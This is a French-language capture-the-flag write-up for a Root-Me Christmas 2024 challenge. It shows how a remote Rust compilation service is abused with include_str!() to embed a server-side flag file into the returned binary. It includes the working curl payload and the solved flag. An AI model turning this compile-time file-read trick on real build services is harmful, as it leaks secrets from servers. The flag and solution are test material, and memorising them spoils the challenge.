✅ Day 04 - Build And Drustroy

  • MISC
  • Date de résolution : 04/12/2024

Reconnaissance

Le chall contient une image docker hébergeant un programme rust tournant en mode daemon qui prend en input du code source rust et retourne le code compilé grâce à une commande cargo build
Exemple fourni :

1curl -sSk -X POST -H 'Content-Type: application/json' https://day4.challenges.xmas.root-me.org/remote-build -d '{"src/main.rs":"fn main() { println!(\"Hello, world!\"); }"}' --output binary

L'objectif est la lecture d'un flag se trouvant dans le fichier indiqué dans le docker-compose :

 1services:
 2  chall:
 3    build: .
 4    ports:
 5      - 3000:3000
 6    volumes:
 7      - ./flag.txt:/flag/randomflaglolilolbigbisous.txt
 8      - /tmp # required for build & temp dirs
 9    restart: unless-stopped
10    read_only: true

Et si nous pouvions inclure le contenu d'un fichier local lors de la compilation ?

Exploit

Hummm... Une fonction le permet en rust : include_str()

Essayons ceci :

1curl -sSk -X POST -H 'Content-Type: application/json' https://day4.challenges.xmas.root-me.org/remote-build -d '{"src/main.rs":"fn main() { const FILE_CONTENT: &str = include_str!(\"/flag/randomflaglolilolbigbisous.txt\"); println!(\"The Flag :\n{}\", FILE_CONTENT); } "}' --output binary

Et executons le binary généré : tada !!

FLAG

The flag is : RM{OffenSkillSaysHi2024RustAbuse}